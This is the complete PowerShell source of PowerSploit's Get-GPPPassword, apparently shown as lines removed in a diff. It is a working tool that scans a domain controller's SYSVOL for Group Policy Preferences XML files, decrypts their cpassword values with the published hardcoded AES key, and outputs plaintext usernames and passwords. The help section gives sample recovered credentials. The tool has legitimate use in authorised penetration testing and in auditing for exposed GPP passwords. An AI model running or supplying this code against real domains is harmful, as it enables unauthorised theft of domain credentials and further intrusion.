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- function Get-GPPPassword {
- <#
- .SYNOPSIS
- Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
- PowerSploit Function: Get-GPPPassword
- Author: Chris Campbell (@obscuresec)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
- .DESCRIPTION
- Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
- .PARAMETER Server
- Specify the domain controller to search for.
- Default's to the users current domain
- .EXAMPLE
- PS C:\> Get-GPPPassword
- NewName : [BLANK]
- Changed : {2014-02-21 05:28:53}
- Passwords : {password12}
- UserNames : {test1}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
- NewName : {mspresenters}
- Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
- Passwords : {Recycling*3ftw!, password123, password1234}
- UserNames : {Administrator (built-in), DummyAccount, dummy2}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
- NewName : [BLANK]
- Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
- Passwords : {password, password1234$}
- UserNames : {administrator, admin}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
- NewName : [BLANK]
- Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
- Passwords : {password, read123}
- UserNames : {DEMO\Administrator, admin}
- File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
- .EXAMPLE
- PS C:\> Get-GPPPassword -Server EXAMPLE.COM
- NewName : [BLANK]
- Changed : {2014-02-21 05:28:53}
- Passwords : {password12}
- UserNames : {test1}
- File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
- NewName : {mspresenters}
- Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
- Passwords : {Recycling*3ftw!, password123, password1234}
- UserNames : {Administrator (built-in), DummyAccount, dummy2}
- File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
- .EXAMPLE
- PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
- password
- password12
- password123
- password1234
- password1234$
- read123
- Recycling*3ftw!
- .LINK
- http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
- https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
- http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
- http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
- #>
- [CmdletBinding()]
- Param (
- [ValidateNotNullOrEmpty()]
- [String]
- $Server = $Env:USERDNSDOMAIN
- )
- #Some XML issues between versions
- Set-StrictMode -Version 2
- #define helper function that decodes and decrypts password
- function Get-DecryptedCpassword {
- [CmdletBinding()]
- Param (
- [string] $Cpassword
- )
- try {
- #Append appropriate padding based on string length
- $Mod = ($Cpassword.length % 4)
- switch ($Mod) {
- '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
- '2' {$Cpassword += ('=' * (4 - $Mod))}
- '3' {$Cpassword += ('=' * (4 - $Mod))}
- }
- $Base64Decoded = [Convert]::FromBase64String($Cpassword)
- #Create a new AES .NET Crypto Object
- $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
- [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
- 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
- #Set IV to all nulls to prevent dynamic generation of IV value
- $AesIV = New-Object Byte[]($AesObject.IV.Length)
- $AesObject.IV = $AesIV
- $AesObject.Key = $AesKey
- $DecryptorObject = $AesObject.CreateDecryptor()
- [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
- return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
- }
- catch {Write-Error $Error[0]}
- }
- #define helper function to parse fields from xml files
- function Get-GPPInnerFields {
- [CmdletBinding()]
- Param (
- $File
- )
- try {
- $Filename = Split-Path $File -Leaf
- [xml] $Xml = Get-Content ($File)
- #declare empty arrays
- $Cpassword = @()
- $UserName = @()
- $NewName = @()
- $Changed = @()
- $Password = @()
- #check for password field
- if ($Xml.innerxml -like "*cpassword*"){
- Write-Verbose "Potential password in $File"
- switch ($Filename) {
- 'Groups.xml' {
- $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
- 'Services.xml' {
- $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
- 'Scheduledtasks.xml' {
- $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
- 'DataSources.xml' {
- $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
- 'Printers.xml' {
- $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
- 'Drives.xml' {
- $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
- }
- }
- }
- foreach ($Pass in $Cpassword) {
- Write-Verbose "Decrypting $Pass"
- $DecryptedPassword = Get-DecryptedCpassword $Pass
- Write-Verbose "Decrypted a password of $DecryptedPassword"
- #append any new passwords to array
- $Password += , $DecryptedPassword
- }
- #put [BLANK] in variables
- if (!($Password)) {$Password = '[BLANK]'}
- if (!($UserName)) {$UserName = '[BLANK]'}
- if (!($Changed)) {$Changed = '[BLANK]'}
- if (!($NewName)) {$NewName = '[BLANK]'}
- #Create custom object to output results
- $ObjectProperties = @{'Passwords' = $Password;
- 'UserNames' = $UserName;
- 'Changed' = $Changed;
- 'NewName' = $NewName;
- 'File' = $File}
- $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
- Write-Verbose "The password is between {} and may be more than one value."
- if ($ResultsObject) {Return $ResultsObject}
- }
- catch {Write-Error $Error[0]}
- }
- try {
- #ensure that machine is domain joined and script is running as a domain account
- if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
- throw 'Machine is not a domain member or User is not a member of the domain.'
- }
- #discover potential files containing passwords ; not complaining in case of denied access to a directory
- Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
- $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
- if ( -not $XMlFiles ) {throw 'No preference files found.'}
- Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
- foreach ($File in $XMLFiles) {
- $Result = (Get-GppInnerFields $File.Fullname)
- Write-Output $Result
- }
- }
- catch {Write-Error $Error[0]}
- }
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